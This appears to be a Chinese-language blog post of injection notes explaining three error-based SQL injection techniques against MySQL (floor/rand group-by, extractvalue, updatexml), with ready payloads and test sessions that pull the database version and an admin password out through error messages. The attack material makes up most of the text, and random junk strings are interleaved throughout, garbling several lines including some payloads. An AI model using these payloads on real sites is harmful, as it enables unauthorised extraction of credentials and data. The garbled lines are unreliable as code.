关于Mysql注入过程中的三种报错方式

admin

放点原来的笔记，Mysql在执行语句的时候会抛出异常信息信息，而php+mysql架构的网站往往又将错误代码显示在页面上，这样可以通过构造如下三种方法获取特定数据。
2 [: Z# |5 N: n& q  r, ^实际测试环境：
​

mysql> show tables;
2 y/ E3 ?% @; F" A% a# J+----------------+
( Q/ S4 r5 w$ b$ W* i( W1 l% H| Tables_in_test |
! B  @- p, `+ b6 c7 ?1 b% L+----------------+
| admin          |
( U* g/ }1 ?/ e8 J' Q- u| article        |
; `* J/ U$ Q6 Q/ V+----------------+
0 ?1 @( {  Q+ U, a1 x' e2 |
9 B6 X5 K8 j4 _; r# }8 y; f3 I

mysql> describe admin;
+-------+------------------+------+-----+---------+----------------+
* F# h# X) S) f| Field | Type             | Null | Key | Default | Extra          |
6 G: ^+ H% u8 c9 q! ~, a7 H+-------+------------------+------+-----+---------+----------------+
. _: s( I% o6 W; G5 K) C4 ]| id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| user  | varchar(50)      | NO   |     | NULL    |                |
( M/ b  }$ m  c. r3 s| pass  | varchar(50)      | NO   |     | NULL    |                |
+-------+------------------+------+-----+---------+----------------+
! o& W8 F: |7 h' d


mysql> describe article;
+ b, f* t8 x$ I- o. w1 g8 w* A+---------+------------------+------+-----+---------+----------------+
| Field   | Type             | Null | Key | Default | Extra          |
+---------+------------------+------+-----+---------+----------------+
| id      | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
0 ^# [$ z# g, p. T8 d& B6 l| title   | varchar(50)      | NO   |     | NULL    |                |
1 w- V8 ?2 B2 w( F# l6 L| content | varchar(50)      | NO   |     | NULL    |                |
; P" R% ]4 m  G9 J* ^+---------+------------------+------+-----+---------+----------------+
8 o4 Y* ?6 R& m- }1、通过floor报错
可以通过如下一些利用代码
1 b5 I, s3 C* ^: T$ Q9 b2 C+ ~& u
& Q( @4 X& _& |4 ~( a, ?" `8 c
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x
from information_schema.tables group by x)a);

: g5 b3 [* s5 P+ F2 l
and (select count(*) from (select 1 union select null union select !1)x
; V( t9 F3 m7 Z6 L+ Agroup by concat((select table_name from information_schema.tables limit 1),
  o# P, ^" S  x; V) zfloor(rand(0)*2)));
举例如下：
首先进行正常查询：
/ E  t# n5 ~9 J/ B: K- y  ^/ q
# k$ z9 Q: I, `8 y  b; wmysql> select * from article where id = 1;
+----+-------+---------+
| id | title | content |
$ z2 q% l. j0 |& o2 D+----+-------+---------+
$ p5 k  J. l7 |+ n$ o/ w5 H  ]0 U|  1 | test  | do it   |
+----+-------+---------+
假如id输入存在注入的话，可以通过如下语句进行报错。

& k% H* H) E& ]
mysql> select * from article where id = 1 and (select 1 from
(select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry '5.1.33-community-log1' for key 'group_key'
可以看到成功爆出了Mysql的版本，如果需要查询其他数据，可以通过修改version()所在位置语句进行查询。
例如我们需要查询管理员用户名和密码：
0 x& O/ f' T3 R3 l0 S3 k9 a* U. qMethod1:
% B& U: l2 m- x7 M  k
3 }* \7 }4 X' s
mysql> select * from article where id = 1 and (select 1 from
(select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x
from information_schema.tables group by x)a);
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
. x3 @# F4 V( X5 PMethod2:

( \2 [& i6 }  \% L/ {( K4 {
3 k( y/ a: u9 y% L3 \# Xmysql> select * from article where id = 1 and (select count(*)
from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),
floor(rand(0)*2)));
ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
2、ExtractValue
测试语句如下

6 O/ w+ m" Z( J; \) {, h
+ ^- F3 T# e9 B% C8 \; qand extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
实际测试过程
8 o1 n) d+ S8 k! h, z8 \% e$ L$ {, J
# z# h  A( p* I9 ]% N3 `
mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
5 _- z3 i1 V9 i3 Z* ]9 \& @% N(select pass from admin limit 1)));--
$ x7 s/ v5 {5 W. ?ERROR 1105 (HY000): XPATH syntax error: '\admin888'
3、UpdateXml
9 M4 F1 d0 v5 V1 ^$ x测试语句


and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
实际测试过程
/ J: c* \: n) l# y* g& r" R
: R% v1 H" |( [1 T
' P* }$ g  m% Umysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
(select pass from admin limit 1),0x5e24),1));
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'
All, thanks foreign guys.

6 f  v9 Q4 I' i/ i! h5 Y​
5 ^4 N& t6 B* K. S7 H3 k; D